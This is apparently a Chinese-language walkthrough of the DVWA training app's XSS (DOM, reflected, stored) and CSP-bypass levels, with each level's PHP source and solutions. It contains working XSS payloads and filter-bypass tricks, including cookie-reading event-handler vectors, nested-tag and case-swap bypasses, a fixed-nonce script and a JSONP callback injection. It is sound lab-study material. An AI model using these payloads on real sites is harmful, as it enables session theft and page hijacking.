impossible

这次的值有40位且由小写字母加数字组成,不是md5,而是SHA1,可惜解不出,所以明文应该很复杂
impossible.php
php
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
cookie值是随机数+时间戳+Impossible的sha1密文,很难找到规律
XSS(DOM)
跨站脚本攻击(基于DOM)
"Cross Site Scripting(XSS)"是一种注入式攻击,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致此类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入而未经验证或编码,就可能出现此类漏洞。
攻击者可以利用XSS向毫无戒备的用户发送恶意脚本。终端用户的浏览器无法判断该脚本是否可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本可以访问任何由浏览器保留并与该网站相关的Cookie、会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。
基于DOM的XSS是一种特殊的反射型XSS,其JavaScript代码隐藏在URL中 ,并在页面渲染时被页面中的JavaScript提取出来,而不是在页面加载时直接嵌入。这使得它比其他攻击更隐蔽,且读取页面内容的WAF或其他防护措施无法发现任何恶意内容。
目标
在另一个用户的浏览器中运行你自己的JavaScript,利用这一点窃取已登录用户的Cookie。
低级
低级防护不会在将请求输入用于输出文本之前对其进行检查。
提示:
/vulnerabilities/xss_d/?default=English<script>alert(1)</script>中级
开发者尝试通过简单的模式匹配移除所有"<script"引用以禁用JavaScript。请找到一种无需使用script标签即可运行JavaScript的方法。
提示:你必须先跳出select块,然后添加一个带有onerror事件的图片:
/vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>高级
开发者现在只允许白名单中的语言,你必须找到一种无需将代码发送到服务器即可运行的方法。
提示:URL的片段部分(#符号后的内容)不会被发送到服务器,因此无法被拦截。用于渲染页面的恶意JavaScript在创建页面时会从中读取内容。
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>不可能级别
大多数浏览器默认会对URL中的内容进行编码,从而阻止任何注入的JavaScript被执行。
low
script标签:<script>alert(document.cookie)</script>
html
<iframe src="javascript:alert(document.cookie)">
<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>
<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>
<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>
。。。。。。
low.php
php
<?php
# No protections, anything goes
?>
xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
medium
经过测试,除了script标签,low等级的其他payload都能使用
medium.php
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
代码检查$default中是否包含<script字符串(不区分大小写),如果检测到<script,立即重定向到?default=English并终止脚本,所以其他标签不受影响
high
本关需要 #截断url输入,使payload不传入后端(DOM型不需要传入后端)

代码成功插入页面,medium级别也可用,截断是全局的
high.php
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
发现是白名单,但是忽略了截断
impossible
php
<?php
# Don't need to do anything, protection handled on the client side
# 无需任何操作,保护措施已在客户端处理
?>
这一关虽然能截断,但是对其进行了编码

XSS(Reflected)
跨站脚本攻击(反射型)
概述
"Cross Site Scripting(XSS)"属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。这类攻击得以成功实施的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能出现此类漏洞。
攻击者可通过XSS向不知情的用户发送恶意脚本。由于终端用户的浏览器无法识别该脚本不可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取浏览器保存的cookie、会话令牌或与该网站相关的其他敏感信息。这些脚本甚至能篡改HTML页面内容。
由于这是反射型XSS,恶意代码并未存储在远程Web应用程序中,因此需要配合社会工程手段(例如通过邮件/聊天发送链接)实施攻击。
目标
通过某种方式窃取已登录用户的cookie。
低级防护
低级防护在将用户输入内容纳入输出文本前,不会对其进行任何检查。
提示:
?name=<script>alert("XSS");</script>中级防护
开发者尝试通过简单模式匹配移除所有"
<script>"标签引用以禁用JavaScript。提示:该防护对大小写敏感。
高级防护
开发者认为通过移除"
<s*c*r*i*p*t"模式即可禁用所有JavaScript。提示:HTML事件触发。
终极防护
使用PHP内置函数(如"htmlspecialchars()")可对可能改变输入行为的任何值进行转义处理。
low
此关没有任何防护,随意输入script
<script>alert(document.cookie)</script>
其他payload可借鉴XSS-DOM的low等级
low.php
php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
设置HTTP头 X-XSS-Protection: 0- 禁用浏览器的XSS保护机制,检查是否存在GET参数 name,输入的GET参数没有任何过滤,如果存在且不为空,直接输出 Hello [name值],使用 <pre>标签包裹
medium
此关自然多了限制,但是可以尝试大小写绕过 <sCRipt>alert(document.cookie)</sCRipt>
其他payload也没有什么限制
medium.php
php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>
此关使用str_replace()将 <script>去除,但是大小写敏感,且仅过滤一次,因此下面的payload也能执行
html
<!-- 在<script>各个字符之间任意一处插入一个<script> -->
<scr<script>ipt>alert(document.cookie)</sc<script>ript>

high
此关script标签无效,但其他payload都可使用
high.php
php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>
只针对script标签,正则过滤 <script
impossible
impossible.php
php
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
**htmlspecialchars()**函数把一些预定义的字符转换为HTML实体,有效防止了XSS
ini
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
借鉴:PHP htmlspecialchars() 函数 | 菜鸟教程
XSS(stored)
跨站脚本攻击(存储型)
"Cross Site Scripting(XSS)"属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致这类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能存在风险。
攻击者可通过XSS向不知情用户发送恶意脚本。终端用户的浏览器无法识别该脚本不可信,会直接执行JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取cookies、会话令牌等敏感信息,甚至可重写HTML页面内容。
该XSS攻击载荷被永久存储在数据库中,除非重置数据库或手动删除。
攻击目标
将所有用户重定向至指定网页
低级防护
低级防护在将输入内容包含到输出文本前不做任何检查
提示:可在姓名或留言字段注入:
<script>alert("XSS");</script>中级防护
开发者已添加部分防护措施,但未对所有字段统一处理
提示:姓名字段需使用:
<sCriPt>alert("XSS");</sCriPt>高级防护
开发者误以为通过移除"
<s*c*r*i*p*t"模式即可禁用所有脚本提示:可利用HTML事件触发
绝对防护
使用PHP内置函数(如htmlspecialchars())可对可能改变输入行为的特殊字符进行转义
可以发现难度跟XSS(reflected)一样,目标变了
low
name字段和massage字段都可注入
想要注入payload,但是限制了输入长度,F12去除限制
1
html
<script>window.location.href="http://127.0.0.1/index.html"</script>

成功跳转
只要用户一访问XSS(stored)页面,立马跳转到特定url页面,输入的内容被保存到log文件中
记得点击左上角的后退 ,将等级改为impossible后再回到XSS(stored)页面,并将注入的代码清除
low.php
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
此代码仅使用 mysqli_real_escape_string()对SQL特殊字符("、'、\、NULL等)进行转义,但没有转义HTML特殊字符
medium
massage字段已经不行了,但是name 字段可以,同时过滤 <script>,但只过滤一次,且大小写敏感
为了方便,使用burp的替换规则
payload:
html
<!-- 大小写绕过 -->
<Script>alert(document.cookie)</Script>
<!-- 二次绕过 -->
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
<!--其他HTML标签 -->
<img src=x onerror=alert(document.cookie)>
...
medium.php
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
$message = htmlspecialchars( $message );对massage字段进行了HTML特殊字符过滤,已经不能在此处进行XSS了,而name字段没有使用 htmlspecialchars()进行过滤,$name = str_replace( '<script>', '', $name );仅过滤 <script>一次,没有忽略大小写
high
使用除了script标签外的其他标签
html
<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>
<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>
<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>
<!-- 略 -->
high.php
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );针对script标签过滤,但其他标签依然可以使用
impossible
impossible.php
php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
massage和name两个字段都使用 htmlspecialchars()进行过滤,且检验CSRF token防止并发评论
XXS区别
| 类型 | 反射型 | 存储型 | DOM型 |
|---|---|---|---|
| 持久性 | 一次性 | 永久(需管理员删除) | 一次性 |
| 传播方式 | 恶意链接 | 感染页面 | 恶意链接 |
| 是否需要交互 | 需要点击 | 自动执行 | 需要点击 |
| 服务器参与 | 是 | 是 | 否 |
| 检测难度 | 中等 | 容易 | 困难 |
| 修复位置 | 服务器端 | 服务器端 | 客户端 |
| 常见场景 | 搜索框 | 留言板 | 单页应用 |
| 危害范围 | 点击者 | 所有访问者 | 点击者 |
| WAF防护 | 有效 | 有效 | 困难 |
| CSP防护 | 有效 | 有效 | 部分有效 |
CSP Bypass
内容安全策略(CSP)绕过
内容安全策略(CSP)用于定义脚本和其他资源可以从何处加载或执行。本模块将引导您了解如何基于开发者的常见错误来绕过该策略。
这些漏洞并非CSP本身的漏洞,而是其实现方式中的漏洞。
目标
绕过内容安全策略(CSP)并在页面中执行JavaScript。
低级难度
检查策略以找到所有可用于托管外部脚本文件的来源。
本练习最初是为Pastebin设计的,后来更新为Hastebin和Toptal,但这些服务均因设置了阻止浏览器执行下载的JavaScript的标头而失效。此后,我们发现了两个新服务:UNPKG和jsDelivr,前者是NPM包的代理,后者是GitHub文件的代理。它们均设计为允许原始文件访问,且未设置任何阻止注入的标头。
此外,我在我的网站上放置了一些文件,用于演示不同标头和文件扩展名如何阻止执行。
提示:
cdn.jsdelivr.net/gh/digininj... 使用jsDelivr托管GitHub上的JavaScript文件。
unpkg.com/@digininja/... 使用UNPKG访问NPM包中的JavaScript文件。
digi.ninja/dvwa/alert.... 可执行,这是一个带有正确标头的普通JavaScript文件。
digi.ninja/dvwa/alert.... 不可执行,因为文件扩展名导致服务器设置了错误的内容类型。
digi.ninja/dvwa/cookie... 可执行,并会显示您的Cookie。
digi.ninja/dvwa/forced... 如名称所示,服务器设置了"Content-Disposition: attachment"标头,强制浏览器下载而非执行该文件。
digi.ninja/dvwa/wrong_... 不可执行,因为服务器忽略文件扩展名并强制将内容类型设置为"plain/text",从而阻止浏览器执行。
中级难度
CSP策略尝试使用随机数(nonce)防止攻击者添加内联脚本。
提示:检查随机数并观察其变化(或不变)。
高级难度
页面通过调用source/jsonp.php发起JSONP请求,传递回调函数名。您需要修改jsonp.php脚本以更改回调函数。
提示:页面上的JavaScript会执行该页面返回的任何内容,将其更改为您的代码即可执行您的代码。
不可能难度
此难度是高级难度的升级版,其中JSONP调用的回调函数被硬编码,且CSP策略被锁定为仅允许外部脚本。
参考:
Mozilla开发者网络 - CSP: script-src
low
刷新页面通过回显可以看到,允许加载来源白名单
arduino
'self' //允许加载同源网站脚本
https://pastebin.com
hastebin.com
www.toptal.com
example.com
code.jquery.com
https://ssl.google-analytics.com
unpkg.com
cdn.jsdelivr.net
digi.ninja
鉴于以上网站,出题者存放一些js文件用于测试
ruby
https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
https://digi.ninja/dvwa/alert.js

low.php
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations
header($headerCSP);
# These might work if you can't create your own for some reason
# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
<p>
You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.
</p>
';
<script src='" . $_POST['include'] . "'></script>接受用户输入的来自域名白名单的js脚本并执行,而这个页面是可以插入任意html代码的,但由于CSP,代码无法执行
html
'></script><img src=x onerror=alert(1)><script src='

medium

无论你在这里输入什么,都会直接显示在页面上,看看你能不能弹出一个警告框。
由此可以考虑输入脚本:<script>alert(1)</alert>
成功插入,但没有执行,那就看看CSP

css
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
多次观察nonce值是固定的,unsafe-inline 允许内联脚本执行,即当成功注入 <script>alert(document.domain);</script>时就会执行,但是"unsafe-inline"和"nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="同时存在,内联脚本需携带nonce值才能执行,好在nonce值是固定的,于是有下面的payload
html
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS1")</script>

medium.php
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
可以看到nonce值确实是固定的,同时会将用户的输入直接贴在页面上,携带nonce值的XSS-payload会被执行
high
拦截响应的时候,没有发现CSP
但是发现使用jsonp.php,调用方法为solveSum,根据响应格式,为JSONP响应格式,调用方法为js方法,可以将方法修改为alert("xss")//


high.php
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
根据CSP内容,仅允许同源网站脚本执行,但不支持内联脚本即类似 <script>alert(1)</script>这样的,因为没有过滤,可以插入html页面,但是 <script src="source/jsonp.php?callback=alert('xss');"></script>可以,因为指向地址"source/jsonp.php?callback=alert('xss');"是同源地址,可以被执行
high.js
javascript
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
callback=solveSum使用的solveSum方法为js方法,此时替换为alert("xss")时,可以执行,并没有过滤、限制什么的
impossible
impossible.php
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
impossible.js
javascript
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
这次传入的参数已经固定了,不接收用户输入的值,但是修改回显 依旧可以弹窗
